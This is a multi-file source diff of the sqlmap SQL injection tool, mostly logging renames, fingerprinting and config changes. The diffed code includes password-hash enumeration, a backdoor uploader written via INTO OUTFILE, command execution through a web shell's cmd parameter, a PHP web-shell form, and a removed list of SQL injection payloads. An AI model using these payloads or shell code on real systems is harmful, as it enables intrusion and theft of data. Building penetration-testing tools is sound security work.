banVer = re.search("^([\d\.]+)", self.banner)
banVer = banVer.groups()[0]
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
if dbmsOsFp:
value += "%s\n" % dbmsOsFp
value += "back-end DBMS: "
actVer = formatDBMSfp()
if not conf.extensiveFp:
value += actVer
return value
comVer = self.__commentCheck()
blank = " " * 15
value += "active fingerprint: %s" % actVer
if comVer:
comVer = formatDBMSfp([comVer])
value += "\n%scomment injection fingerprint: %s" % (blank, comVer)
if kb.bannerFp:
# TODO: move to the XML banner file
banVer = kb.bannerFp["dbmsVersion"]
if re.search("-log$", self.banner):
banVer += ", logging enabled"
banVer = formatFingerprint([banVer])
banVer = formatDBMSfp([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
#passiveFuzzing()
htmlParsed = getHtmlErrorFp()
htmlErrorFp = getHtmlErrorFp()
if htmlParsed:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed)
if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
return value
@@ -223,6 +240,8 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
if int(kb.dbmsVersion[0]) >= 5:
self.has_information_schema = True
self.getPrematureBanner("VERSION()")
if not conf.extensiveFp:
return True
@@ -249,6 +268,8 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
setDbms("MySQL 5")
self.has_information_schema = True
self.getPrematureBanner("VERSION()")
if not conf.extensiveFp:
kb.dbmsVersion = [">= 5.0.0"]
return True
@@ -282,10 +303,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
# Or if it is MySQL >= 5.0.0 and < 5.1.2
elif inject.getValue("MID(@@hostname, 1, 1)"):
kb.dbmsVersion = [">= 5.0.38", "< 5.1.2"]
# NOTE: MySQL 5.0.12 introduced SLEEP() function
# References:
# * http://dev.mysql.com/doc/refman/5.0/en/news-5-0-12.html
# * http://dev.mysql.com/doc/refman/5.0/en/miscellaneous-functions.html#function_sleep
elif inject.getValue("SELECT 1 FROM DUAL") == "1":
kb.dbmsVersion = [">= 5.0.11", "< 5.0.38"]
elif inject.getValue("DATABASE() LIKE SCHEMA()"):
@@ -298,6 +315,8 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
setDbms("MySQL 4")
kb.dbmsVersion = ["< 5.0.0"]
self.getPrematureBanner("VERSION()")
if not conf.extensiveFp:
return True
@@ -324,9 +343,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
else:
kb.dbmsVersion = ["< 3.22.11"]
if conf.getBanner:
self.banner = inject.getValue("VERSION()")
return True
else:
warnMsg = "the back-end DMBS is not MySQL"
@@ -421,7 +437,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
query = " LIMIT 1 INTO OUTFILE '%s/%s' " % (directory, uploaderName)
query += "LINES TERMINATED BY '\\n%s\\n'--" % uploaderQuery
query = agent.prefixQuery(query)
query = agent.prefixQuery(" %s" % query)
query = agent.postfixQuery(query)
payload = agent.payload(newValue=query)
@@ -434,7 +450,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
baseUrl = "%s://%s:%d%s" % (conf.scheme, conf.hostname, conf.port, requestDir)
uploaderUrl = "%s/%s" % (baseUrl, uploaderName)
page = Request.getPage(url=uploaderUrl, direct=True)
page, _ = Request.getPage(url=uploaderUrl, direct=True)
if "sqlmap backdoor uploader" not in page:
warnMsg = "unable to upload the uploader "
@@ -506,7 +522,7 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
break
cmdUrl = "%s?cmd=%s" % (backdoorUrl, command)
page = Request.getPage(url=cmdUrl, direct=True)
page, _ = Request.getPage(url=cmdUrl, direct=True)
output = re.search("<pre>(.+?)</pre>", page, re.I | re.S)
if output:

View File

@@ -26,6 +26,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import re
from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp
from lib.core.data import conf
@@ -37,7 +38,6 @@ from lib.core.settings import ORACLE_ALIASES
from lib.core.settings import ORACLE_SYSTEM_DBS
from lib.core.unescaper import unescaper
from lib.request import inject
#from lib.utils.fuzzer import passiveFuzzing
from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem
@@ -116,28 +116,37 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
def getFingerprint(self):
if not conf.extensiveFp:
return "Oracle"
value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp)
actVer = formatFingerprint()
blank = " " * 16
value = "active fingerprint: %s" % actVer
if wsOsFp:
value += "%s\n" % wsOsFp
if self.banner:
banVer = re.search("^Oracle .*Release ([\d\.]+) ", self.banner)
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
if banVer:
banVer = banVer.groups()[0]
banVer = formatFingerprint([banVer])
if dbmsOsFp:
value += "%s\n" % dbmsOsFp
value += "back-end DBMS: "
if not conf.extensiveFp:
value += "Oracle"
return value
actVer = formatDBMSfp()
blank = " " * 15
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
banVer = kb.bannerFp["dbmsVersion"]
banVer = formatDBMSfp([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
#passiveFuzzing()
htmlParsed = getHtmlErrorFp()
htmlErrorFp = getHtmlErrorFp()
if htmlParsed:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed)
if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
return value
@@ -146,6 +155,8 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
if conf.dbms in ORACLE_ALIASES:
setDbms("Oracle")
self.getPrematureBanner("SELECT banner FROM v$version WHERE ROWNUM=1")
if not conf.extensiveFp:
return True
@@ -159,7 +170,7 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
logMsg = "confirming Oracle"
logger.info(logMsg)
query = "SELECT VERSION FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1"
query = "SELECT SUBSTR((VERSION), 1, 2) FROM SYS.PRODUCT_COMPONENT_VERSION WHERE ROWNUM=1"
version = inject.getValue(query)
if not version:
@@ -170,21 +181,20 @@ class OracleMap(Fingerprint, Enumeration, Filesystem, Takeover):
setDbms("Oracle")
self.getPrematureBanner("SELECT banner FROM v$version WHERE ROWNUM=1")
if not conf.extensiveFp:
return True
if re.search("^11\.", version):
if re.search("^11", version):
kb.dbmsVersion = ["11i"]
elif re.search("^10\.", version):
elif re.search("^10", version):
kb.dbmsVersion = ["10g"]
elif re.search("^9\.", version):
elif re.search("^9", version):
kb.dbmsVersion = ["9i"]
elif re.search("^8\.", version):
elif re.search("^8", version):
kb.dbmsVersion = ["8i"]
if conf.getBanner:
self.banner = inject.getValue("SELECT banner FROM v$version WHERE ROWNUM=1")
return True
else:
warnMsg = "the back-end DMBS is not Oracle"

View File

@@ -26,6 +26,7 @@ Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
import re
from lib.core.common import formatDBMSfp
from lib.core.common import formatFingerprint
from lib.core.common import getHtmlErrorFp
from lib.core.common import randomInt
@@ -38,7 +39,6 @@ from lib.core.settings import PGSQL_ALIASES
from lib.core.settings import PGSQL_SYSTEM_DBS
from lib.core.unescaper import unescaper
from lib.request import inject
#from lib.utils.fuzzer import passiveFuzzing
from plugins.generic.enumeration import Enumeration
from plugins.generic.filesystem import Filesystem
@@ -116,26 +116,37 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
def getFingerprint(self):
if not conf.extensiveFp:
return "PostgreSQL"
value = ""
wsOsFp = formatFingerprint("web server", kb.headersFp)
actVer = formatFingerprint()
blank = " " * 16
value = "active fingerprint: %s" % actVer
if wsOsFp:
value += "%s\n" % wsOsFp
if self.banner:
banVer = re.search("^PostgreSQL ([\d\.]+)", self.banner)
banVer = banVer.groups()[0]
banVer = formatFingerprint([banVer])
dbmsOsFp = formatFingerprint("back-end DBMS", kb.bannerFp)
if dbmsOsFp:
value += "%s\n" % dbmsOsFp
value += "back-end DBMS: "
if not conf.extensiveFp:
value += "PostgreSQL"
return value
actVer = formatDBMSfp()
blank = " " * 15
value += "active fingerprint: %s" % actVer
if kb.bannerFp:
banVer = kb.bannerFp["dbmsVersion"]
banVer = formatDBMSfp([banVer])
value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer)
#passiveFuzzing()
htmlParsed = getHtmlErrorFp()
htmlErrorFp = getHtmlErrorFp()
if htmlParsed:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlParsed)
if htmlErrorFp:
value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp)
return value
@@ -148,6 +159,8 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
if conf.dbms in PGSQL_ALIASES:
setDbms("PostgreSQL")
self.getPrematureBanner("VERSION()")
if not conf.extensiveFp:
return True
@@ -171,6 +184,8 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
setDbms("PostgreSQL")
self.getPrematureBanner("VERSION()")
if not conf.extensiveFp:
return True
@@ -206,9 +221,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Takeover):
else:
kb.dbmsVersion = ["< 6.2.0"]
if conf.getBanner:
self.banner = inject.getValue("VERSION()")
return True
else:
warnMsg = "the back-end DMBS is not PostgreSQL"

View File

@@ -41,6 +41,7 @@ from lib.core.exception import sqlmapUndefinedMethod
from lib.core.exception import sqlmapUnsupportedFeatureException
from lib.core.shell import autoCompletion
from lib.core.unescaper import unescaper
from lib.parse.banner import bannerParser
from lib.request import inject
from lib.request.connect import Connect as Request
@@ -72,9 +73,16 @@ class Enumeration:
pass
def getPrematureBanner(self, query):
if conf.getBanner:
self.banner = inject.getValue(query)
bannerParser(self.banner)
def getBanner(self):
logMsg = "fetching banner"
logger.info(logMsg)
infoMsg = "fetching banner"
logger.info(infoMsg)
query = queries[kb.dbms].banner
@@ -85,8 +93,8 @@ class Enumeration:
def getCurrentUser(self):
logMsg = "fetching current user"
logger.info(logMsg)
infoMsg = "fetching current user"
logger.info(infoMsg)
query = queries[kb.dbms].currentUser
@@ -97,8 +105,8 @@ class Enumeration:
def getCurrentDb(self):
logMsg = "fetching current database"
logger.info(logMsg)
infoMsg = "fetching current database"
logger.info(infoMsg)
query = queries[kb.dbms].currentDb
@@ -108,9 +116,20 @@ class Enumeration:
return self.currentDb
def isDba(self):
infoMsg = "testing if current user is DBA"
logger.info(infoMsg)
query = queries[kb.dbms].isDba
self.isDba = inject.getValue(query)
return str(self.isDba == "1")
def getUsers(self):
logMsg = "fetching database users"
logger.info(logMsg)
infoMsg = "fetching database users"
logger.info(infoMsg)
rootQuery = queries[kb.dbms].users
@@ -128,8 +147,8 @@ class Enumeration:
self.cachedUsers = value
if not self.cachedUsers:
logMsg = "fetching number of database users"
logger.info(logMsg)
infoMsg = "fetching number of database users"
logger.info(infoMsg)
if condition:
query = rootQuery["blind"]["count2"]
@@ -161,11 +180,16 @@ class Enumeration:
def getPasswordHashes(self):
logMsg = "fetching database users password hashes"
logger.info(logMsg)
infoMsg = "fetching database users password hashes"
rootQuery = queries[kb.dbms].passwords
if conf.user == "CU":
infoMsg += " for current user"
conf.user = self.getCurrentUser()
logger.info(infoMsg)
if conf.unionUse:
if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
query = rootQuery["inband"]["query2"]
@@ -220,9 +244,9 @@ class Enumeration:
if user in retrievedUsers:
continue
logMsg = "fetching number of password hashes "
logMsg += "for user '%s'" % user
logger.info(logMsg)
infoMsg = "fetching number of password hashes "
infoMsg += "for user '%s'" % user
logger.info(infoMsg)
if kb.dbms == "Microsoft SQL Server" and kb.dbmsVersion[0] in ( "2005", "2008" ):
query = rootQuery["blind"]["count2"] % user
@@ -236,8 +260,8 @@ class Enumeration:
logger.warn(warnMsg)
continue
logMsg = "fetching password hashes for user '%s'" % user
logger.info(logMsg)
infoMsg = "fetching password hashes for user '%s'" % user
logger.info(infoMsg)
passwords = []
indexRange = getRange(count)
@@ -292,11 +316,16 @@ class Enumeration:
def getPrivileges(self):
logMsg = "fetching database users privileges"
logger.info(logMsg)
infoMsg = "fetching database users privileges"
rootQuery = queries[kb.dbms].privileges
if conf.user == "CU":
infoMsg += " for current user"
conf.user = self.getCurrentUser()
logger.info(infoMsg)
# Set containing the list of DBMS administrators
areAdmins = set()
@@ -443,9 +472,9 @@ class Enumeration:
if user in retrievedUsers:
continue
logMsg = "fetching number of privileges "
logMsg += "for user '%s'" % user
logger.info(logMsg)
infoMsg = "fetching number of privileges "
infoMsg += "for user '%s'" % user
logger.info(infoMsg)
if unescapedUser:
queryUser = unescapedUser
@@ -466,8 +495,8 @@ class Enumeration:
logger.warn(warnMsg)
continue
logMsg = "fetching privileges for user '%s'" % user
logger.info(logMsg)
infoMsg = "fetching privileges for user '%s'" % user
logger.info(infoMsg)
privileges = set()
indexRange = getRange(count)
@@ -549,8 +578,8 @@ class Enumeration:
warnMsg += "names will be fetched from 'mysql' database"
logger.warn(warnMsg)
logMsg = "fetching database names"
logger.info(logMsg)
infoMsg = "fetching database names"
logger.info(infoMsg)
rootQuery = queries[kb.dbms].dbs
@@ -565,8 +594,8 @@ class Enumeration:
self.cachedDbs = value
if not self.cachedDbs:
logMsg = "fetching number of databases"
logger.info(logMsg)
infoMsg = "fetching number of databases"
logger.info(infoMsg)
if kb.dbms == "MySQL" and not self.has_information_schema:
query = rootQuery["blind"]["count2"]
@@ -605,10 +634,10 @@ class Enumeration:
self.forceDbmsEnum()
logMsg = "fetching tables"
infoMsg = "fetching tables"
if conf.db:
logMsg += " for database '%s'" % conf.db
logger.info(logMsg)
infoMsg += " for database '%s'" % conf.db
logger.info(infoMsg)
rootQuery = queries[kb.dbms].tables
@@ -626,8 +655,8 @@ class Enumeration:
elif conf.excludeSysDbs:
query += " WHERE "
query += " AND ".join("%s != '%s'" % (condition, db) for db in self.excludeDbsList)
logMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
logger.info(logMsg)
infoMsg = "skipping system databases '%s'" % ", ".join(db for db in self.excludeDbsList)
logger.info(infoMsg)
value = inject.getValue(query, blind=False)
@@ -652,14 +681,14 @@ class Enumeration:
for db in dbs:
if conf.excludeSysDbs and db in self.excludeDbsList:
logMsg = "skipping system database '%s'" % db
logger.info(logMsg)
infoMsg = "skipping system database '%s'" % db
logger.info(infoMsg)
continue
logMsg = "fetching number of tables for "
logMsg += "database '%s'" % db
logger.info(logMsg)
infoMsg = "fetching number of tables for "
infoMsg += "database '%s'" % db
logger.info(infoMsg)
query = rootQuery["blind"]["count"] % db
count = inject.getValue(query, inband=False, expected="int")
@@ -708,20 +737,20 @@ class Enumeration:
self.forceDbmsEnum()
if not conf.db:
errMsg = "missing database parameter"
raise sqlmapMissingMandatoryOptionException, errMsg
warnMsg = "missing database parameter, sqlmap is going to "
warnMsg += "use the current database to enumerate table "
warnMsg += "'%s' columns" % conf.tbl
logger.warn(warnMsg)
logMsg = "fetching columns "
logMsg += "for table '%s' " % conf.tbl
logMsg += "on database '%s'" % conf.db
logger.info(logMsg)
conf.db = self.getCurrentDb()
infoMsg = "fetching columns "
infoMsg += "for table '%s' " % conf.tbl
infoMsg += "on database '%s'" % conf.db
logger.info(infoMsg)
rootQuery = queries[kb.dbms].columns
if kb.dbms == "Oracle":
conf.db = conf.db.upper()
conf.tbl = conf.tbl.upper()
if conf.unionUse:
if kb.dbms in ( "MySQL", "PostgreSQL" ):
query = rootQuery["inband"]["query"] % (conf.tbl, conf.db)
@@ -744,10 +773,10 @@ class Enumeration:
self.cachedColumns[conf.db] = table
if not self.cachedColumns:
logMsg = "fetching number of columns "
logMsg += "for table '%s'" % conf.tbl
logMsg += " on database '%s'" % conf.db
logger.info(logMsg)
infoMsg = "fetching number of columns "
infoMsg += "for table '%s'" % conf.tbl
infoMsg += " on database '%s'" % conf.db
logger.info(infoMsg)
if kb.dbms in ( "MySQL", "PostgreSQL" ):
query = rootQuery["blind"]["count"] % (conf.tbl, conf.db)
@@ -764,9 +793,14 @@ class Enumeration:
errMsg += "on database '%s'" % conf.db
raise sqlmapNoneDataException, errMsg
if kb.dbms == "Microsoft SQL Server":
plusOne = True
else:
plusOne = False
table = {}
columns = {}
indexRange = getRange(count)
indexRange = getRange(count, plusOne=plusOne)
for index in indexRange:
if kb.dbms in ( "MySQL", "PostgreSQL" ):
@@ -818,12 +852,17 @@ class Enumeration:
self.forceDbmsEnum()
if not conf.db:
errMsg = "missing database parameter"
raise sqlmapMissingMandatoryOptionException, errMsg
warnMsg = "missing database parameter, sqlmap is going to "
warnMsg += "use the current database to dump table "
warnMsg += "'%s' entries" % conf.tbl
logger.warn(warnMsg)
conf.db = self.getCurrentDb()
rootQuery = queries[kb.dbms].dumpTable
if conf.col:
colList = conf.col.split(",")
self.cachedColumns[conf.db] = {}
self.cachedColumns[conf.db][conf.tbl] = {}
for column in colList:
@@ -840,14 +879,12 @@ class Enumeration:
colList.sort(key=lambda x: x.lower())
colString = ", ".join(column for column in colList)
logMsg = "fetching"
infoMsg = "fetching"
if conf.col:
colList = conf.col.split(",")
colString = ", ".join(column for column in colList)
logMsg += " columns '%s'" % colString
logMsg += " entries for table '%s'" % conf.tbl
logMsg += " on database '%s'" % conf.db
logger.info(logMsg)
infoMsg += " columns '%s'" % colString
infoMsg += " entries for table '%s'" % conf.tbl
infoMsg += " on database '%s'" % conf.db
logger.info(infoMsg)
if conf.unionUse:
if kb.dbms == "Oracle":
@@ -883,23 +920,12 @@ class Enumeration:
index += 1
if not self.dumpedTable:
if conf.unionUse:
warnMsg = "unable to retrieve the "
infoMsg = "fetching number of "
if conf.col:
warnMsg += "columns '%s' " % colString
warnMsg += "entries for table '%s' " % conf.tbl
warnMsg += "on database '%s'" % conf.db
warnMsg += " through UNION query SQL injection, "
warnMsg += "probably because it has no entries, going "
warnMsg += "blind to confirm"
logger.warn(warnMsg)
logMsg = "fetching number of "
if conf.col:
logMsg += "columns '%s' " % colString
logMsg += "entries for table '%s' " % conf.tbl
logMsg += "on database '%s'" % conf.db
logger.info(logMsg)
infoMsg += "columns '%s' " % colString
infoMsg += "entries for table '%s' " % conf.tbl
infoMsg += "on database '%s'" % conf.db
logger.info(infoMsg)
if kb.dbms == "Oracle":
query = rootQuery["blind"]["count"] % conf.tbl.upper()
@@ -1012,14 +1038,8 @@ class Enumeration:
def sqlQuery(self, query):
logMsg = "fetching SQL SELECT query output: '%s'" % query
logger.info(logMsg)
if query.startswith("select "):
query = query.replace("select ", "SELECT ", 1)
if " from " in query:
query = query.replace(" from ", " FROM ")
infoMsg = "fetching SQL SELECT query output: '%s'" % query
logger.info(infoMsg)
output = inject.getValue(query, fromUser=True)
@@ -1030,9 +1050,9 @@ class Enumeration:
def sqlShell(self):
logMsg = "calling %s shell. To quit type " % kb.dbms
logMsg += "'x' or 'q' and press ENTER"
logger.info(logMsg)
infoMsg = "calling %s shell. To quit type " % kb.dbms
infoMsg += "'x' or 'q' and press ENTER"
logger.info(infoMsg)
autoCompletion(sqlShell=True)

View File

@@ -69,10 +69,7 @@ if (!isset($_REQUEST["download"]) and !isset($_REQUEST["phpinfo"])) {
echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Execute a shell command</b><br><input type=\"text\" name=\"cmd\" value=\"ps auxfww\"><input type=\"submit\" value=\"go\"></form><br>";
echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Execute a PHP command</b><br><input type=\"text\" name=\"phpcode\" value=\"ini_get_all()\"><input type=\"submit\" value=\"go\"></form><br>";
echo "<form action=\"" . $phpself . "\" method=\"GET\"><b>Execute a MySQL query</b><br>host: <input type=\"text\" name=\"host\" value=\"localhost\"><br>user: <input type=\"text\" name=\"user\" value=\"root\"><br>password: <input type=\"password\" name=\"password\"><br>query: <input type=\"text\" name=\"query\"><br><input type=\"submit\" value=\"execute\"></form><br>";
echo "<div style=\"text-align: center\">";
echo "<a href=\"http://validator.w3.org/check/referer\"><img src=\"http://www.w3.org/Icons/valid-html401\" border=\"0\" alt=\"Valid HTML 4.01!\"></a>";
echo "<a href=\"http://jigsaw.w3.org/css-validator/validator?text=" . $cssEncoded . "\"><img src=\"http://jigsaw.w3.org/css-validator/images/vcss\" border=\"0\" alt=\"Valid CSS!\"></a>";
echo "</div></div><div id=\"rightbody\">";
echo "</div><div id=\"rightbody\">";
}
if (isset($_REQUEST["sysinfo"])) {

View File

@@ -1,9 +1,16 @@
[Request]
[Target]
# Target URL.
# Example: http://192.168.1.121/sqlmap/mysql/get_int.php?id=1&cat=2
# PHP and MySQL (local)
url =
# Parse targets from Burp or WebScarab logs
# Valid: Burp proxy (http://portswigger.net/suite/) requests log file path
# or WebScarab proxy (http://www.owasp.org/index.php/Category:OWASP_WebScarab_Project)
# 'conversations/' folder path
list =
# Rather than providing a target url, let Google return target
# hosts as result of your Google dork expression. For a list of Google
# dorks see Johnny Long Google Hacking Database at
@@ -11,9 +18,8 @@ url =
# Example: +ext:php +inurl:"&id=" +intext:"powered by "
googleDork =
# Testable parameter(s) comma separated. By default all GET/POST/Cookie
# parameters and HTTP User-Agent are tested by sqlmap.
testParameter =
[Request]
# HTTP method to perform HTTP requests.
# Valid: GET or POST
@@ -34,12 +40,18 @@ referer =
# HTTP User-Agent header. Useful to fake the HTTP User-Agent header value
# at each HTTP request
# sqlmap will also test for SQL injection on the HTTP User-Agent value.
agent = sqlmap/0.6.1 (http://sqlmap.sourceforge.net)
agent =
# Load a random HTTP User-Agent header from file
# Example: txt/user-agents.txt
# Example: ./txt/user-agents.txt
userAgentsFile =
# Extra HTTP headers
# Note: there must be a space at the beginning of each header line
headers = Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Charset: ISO-8859-15,utf-8;q=0.7,*;q=0.7
# HTTP Authentication type. Useful only if the target url requires
# HTTP Basic or Digest authentication and you have such data.
# Valid: Basic or Digest
@@ -56,25 +68,85 @@ proxy =
# Maximum number of concurrent HTTP requests (handled with Python threads)
# to be used in the inference SQL injection attack.
# Valid: integer
# Default: 1
threads = 1
# Delay in seconds between each HTTP request.
# Valid: float
# Default: 0
delay = 0
# Seconds to wait before timeout connection.
# Valid: float
# Default: 10
timeout = 10
[Injection]
# String to match in page when the query is valid, only needed if the
# page content dynamically changes at each refresh, consequently changing
# the MD5 of the page which is the method used by default to determine
# if a query was valid or not. Read the documentation for further
# details.
string =
# Testable parameter(s) comma separated. By default all GET/POST/Cookie
# parameters and HTTP User-Agent are tested by sqlmap.
testParameter =
# Force back-end DBMS to this value. If this option is set, the back-end
# DBMS identification process will be minimized as needed.
# If not set, sqlmap will detect back-end DBMS automatically by default.
# Valid: mssql, mysql, oracle, pgsql
# Valid: mssql, mysql, mysql 4, mysql 5, oracle, pgsql
dbms =
# Injection payload prefix string
prefix =
# Injection payload postfix string
postfix =
# String to match within the page content when the query is valid, only
# needed if the page content dynamically changes at each refresh,
# consequently changing the MD5 hash of the page which is the method used
# by default to determine if a query was valid or not. Refer to the user's
# manual for further details.
string =
# Regular expression to match within the page content when the query is
# valid, only needed if the needed if the page content dynamically changes
# at each refresh, consequently changing the MD5 hash of the page which is
# the method used by default to determine if a query was valid or not.
# Refer to the user's manual for further details.
# Valid: regular expression with Python syntax
# (http://www.python.org/doc/2.5.2/lib/re-syntax.html)
regexp =
# String to be excluded by the page content before calculating the page
# MD5 hash
eString =
# Regular expression matches to be excluded by the page content before
# calculating the page MD5 hash
# Valid: regular expression with Python syntax
# (http://www.python.org/doc/2.5.2/lib/re-syntax.html)
eRegexp =
[Techniques]
# Test for stacked queries (multiple statements) support.
# Valid: True or False
stackedTest = False
# Test for Time based blind SQL injection.
# Valid: True or False
timeTest = False
# Test for UNION query (inband) SQL injection.
# Valid: True or False
unionTest = False
# Use the UNION query (inband) SQL injection to retrieve the queries
# output. No need to go blind.
# Valid: True or False
unionUse = False
[Fingerprint]
@@ -98,6 +170,10 @@ getCurrentUser = False
# Valid: True or False
getCurrentDb = False
# Detect if the DBMS current user is DBA.
# Valid: True or False
isDba = False
# Enumerate back-end database management system users.
# Valid: True or False
getUsers = False
@@ -151,12 +227,12 @@ user =
excludeSysDbs = False
# First table entry to dump (cursor start)
# Valid: number
# Valid: integer
# Default: 0 (sqlmap will start to dump the table entries from the first)
limitStart = 0
# Last table entry to dump (cursor stop)
# Valid: number
# Valid: integer
# Default: 0 (sqlmap will detect the number of table entries and dump
# until the last)
limitStop = 0
@@ -173,7 +249,7 @@ sqlShell = False
[File system]
# Read a specific OS file content (only on MySQL).
# Examples: '/etc/passwd' or 'C:\boot.ini'
# Examples: /etc/passwd or C:\boot.ini
rFile =
# Write to a specific OS file (not yet available).
@@ -191,30 +267,21 @@ osShell = False
[Miscellaneous]
# Test for UNION SELECT (inband) SQL injection.
# Valid: True or False
unionTest = False
# Use the UNION SELECT (inband) SQL injection to retrieve the queries
# output. No need to go blind.
# Valid: True or False
unionUse = False
# Retrieve each query output length and calculate the estimated time of
# arrival in real time.
# Valid: True or False
eta = False
# Verbosity level.
# Valid values:
# 0: Silent
# 1: Show info messages
# Valid: integer between 0 and 5
# 0: Show only warning and error messages
# 1: Show also info messages
# 2: Show also debug messages
# 3: Show also HTTP requests
# 4: Show also HTTP responses headers
# 5: Show also HTTP responses page content
# Default: 0
verbose = 0
# Default: 1
verbose = 1
# Update sqlmap to the latest stable version.
# Valid: True or False

View File

@@ -29,6 +29,13 @@ import sys
import time
import traceback
try:
import psyco
psyco.full()
psyco.profile()
except ImportError, _:
pass
from lib.controller.controller import start
from lib.core.common import banner
from lib.core.common import setPaths

View File

@@ -1,51 +0,0 @@
'||(elt(-3+5,bin(15),ord(10),hex(char(45))))
||6
'||'6
(||6)
' OR 1=1--
OR 1=1
' OR '1'='1
; OR '1'='1'
%22+or+isnull%281%2F0%29+%2F*
%27+OR+%277659%27%3D%277659
%22+or+isnull%281%2F0%29+%2F*
%27+--+
' or 1=1--
" or 1=1--
' or 1=1 /*
or 1=1--
' or 'a'='a
" or "a"="a
') or ('a'='a
Admin' OR '
'%20SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES--
) UNION SELECT%20*%20FROM%20INFORMATION_SCHEMA.TABLES;
' having 1=1--
' having 1=1--
' group by userid having 1=1--
' SELECT name FROM syscolumns WHERE id = (SELECT id FROM sysobjects WHERE name = tablename')--
' or 1 in (select @@version)--
' union all select @@version--
' OR 'unusual' = 'unusual'
' OR 'something' = 'some'+'thing'
' OR 'text' = N'text'
' OR 'something' like 'some%'
' OR 2 > 1
' OR 'text' > 't'
' OR 'whatever' in ('whatever')
' OR 2 BETWEEN 1 and 3
' or username like char(37);
' union select * from users where login = char(114,111,111,116);
' union select
Password:*/=1--
UNI/**/ON SEL/**/ECT
'; EXECUTE IMMEDIATE 'SEL' || 'ECT US' || 'ER'
'; EXEC ('SEL' + 'ECT US' + 'ER')
'/**/OR/**/1/**/=/**/1
' or 1/*
+or+isnull%281%2F0%29+%2F*
%27+OR+%277659%27%3D%277659
%22+or+isnull%281%2F0%29+%2F*
%27+--+&password=
'; begin declare @var varchar(8000) set @var=':' select @var=@var+'+login+'/'+password+' ' from users where login >
@var select @var as var into temp end --

33
xml/banner/cookie.xml Normal file
View File

@@ -0,0 +1,33 @@
<?xml version="1.0" encoding="UTF-8"?>
<!--
References:
* http://www.http-stats.com/Set-Cookie2
* http://www.owasp.org/index.php/Category:OWASP_Cookies_Database
-->
<root>
<regexp value="ASPSESSIONID">
<info technology="ASP" type="Windows" distrib="2000"/>
</regexp>
<regexp value="ASP\.NET_SessionId">
<info technology="ASP.NET" type="Windows" distrib="2003|2008"/>
</regexp>
<regexp value="JSESSIONID">
<info technology="JSP"/>
</regexp>
<regexp value="PHPSESSION">
<info technology="PHP"/>
</regexp>
<regexp value="Apache">
<info technology="Apache"/>
</regexp>
<regexp value="JServSessionId">
<info technology="Apache|JSP"/>
</regexp>
</root>

127
xml/banner/generic.xml Normal file
View File

@@ -0,0 +1,127 @@
<?xml version="1.0" encoding="UTF-8"?>
<root>
<!-- Windows -->
<regexp value="(Microsoft|Windows|Win32)">
<info type="Windows"/>
</regexp>
<regexp value="Service Pack (\d)">
<info sp="1"/>
</regexp>
<regexp value="Microsoft.*7\.0">
<info type="Windows" distrib="Vista"/>
</regexp>
<regexp value="Microsoft.*6\.0">
<info type="Windows" distrib="2003"/>
</regexp>
<regexp value="Microsoft.*5\.2">
<info type="Windows" distrib="2003"/>
</regexp>
<regexp value="Microsoft.*5\.1">
<info type="Windows" distrib="XP"/>
</regexp>
<regexp value="Microsoft.*5\.0">
<info type="Windows" distrib="2000"/>
</regexp>
<regexp value="Microsoft.*4\.0">
<info type="Windows" distrib="NT 4.0"/>
</regexp>
<regexp value="Microsoft.*3\.0">
<info type="Windows" distrib="NT 4.0"/>
</regexp>
<regexp value="Microsoft.*2\.0">
<info type="Windows" distrib="NT 4.0"/>
</regexp>
<!-- Linux -->
<regexp value="Linux">
<info type="Linux"/>
</regexp>
<regexp value="CentOS">
<info type="Linux" distrib="CentOS"/>
</regexp>
<regexp value="Cobalt">
<info type="Linux" distrib="Cobalt"/>
</regexp>
<regexp value="Conectiva">
<info type="Linux" distrib="Conectiva"/>
</regexp>
<regexp value="Debian">
<info type="Linux" distrib="Debian|Ubuntu"/>
</regexp>
<regexp value="Fedora">
<info type="Linux" distrib="Fedora"/>
</regexp>
<regexp value="Gentoo">
<info type="Linux" distrib="Gentoo"/>
